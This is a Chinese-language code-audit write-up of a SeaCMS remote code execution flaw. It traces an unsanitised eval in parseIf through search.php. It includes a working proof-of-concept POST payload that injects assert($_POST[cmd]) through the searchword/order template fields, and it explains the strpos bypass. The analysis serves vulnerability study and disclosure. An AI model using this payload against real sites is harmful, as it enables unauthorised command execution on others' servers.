一、漏洞分析

漏洞触发点search.php 211-213行

【代码审计】seacms 前台Getshell分析

跟进parseIf 函数 ./include/main.class.php

这里要注意 3118行的位置,可以看到未做任何处理的eval

【代码审计】seacms 前台Getshell分析

二、触发条件

if(intval($searchtype)==5)   

if (strpos($content,'{if:')=== true)

{if:(.*?)}(.*?){end if} 

if (strpos($strThen,$labelRule2)===false)

if (strpos($strThen,$labelRule3)>=0){

三、构造POC

http://127.0.0.1/search.php?searchtype=5
POST:searchword=d&order=}{end if}{if:1)print_r($_POST[func]($_POST[cmd]));//}{end if}&func=assert&cmd=phpinfo();

1.preg_match_all($labelRule,$content,$iar); 进行匹配,将匹配的内容保存到$iar

   如果是$strIf=$iar[0];  则代表匹配整个的结果

   $strIf=$iar[1][$m];   这里匹配整个内容的第一个子组  1)print_r($_POST[func]($_POST[cmd]));//

2.

...
$labelRule2="{elseif";
...
if (strpos($strThen,$labelRule2)===false){

    $strIf=$iar[2][$m]; 不能含有elseif,才可以进入下一个判断语句

3.因为我们构造的$strThen(其实就是$iar[2][$m])是空的,利用了strpos函数漏洞实现绕过了,然后没有其他操作我们就进入了eval那一句!

最终进入语句带代码

eval("if(1)print_r($_POST[func]($_POST[cmd]));//{$ifFlag=true;}else{$ifFlag=false;} ")

 四、漏洞验证

【代码审计】seacms 前台Getshell分析

 

相关文章:

  • 2022-12-23
  • 2021-05-22
  • 2021-09-20
  • 2021-08-02
  • 2022-12-23
  • 2021-09-19
  • 2022-03-04
  • 2022-01-21
猜你喜欢
  • 2021-10-12
  • 2021-06-20
  • 2022-01-21
  • 2021-06-11
  • 2022-02-05
  • 2021-12-10
  • 2021-07-13
相关资源
相似解决方案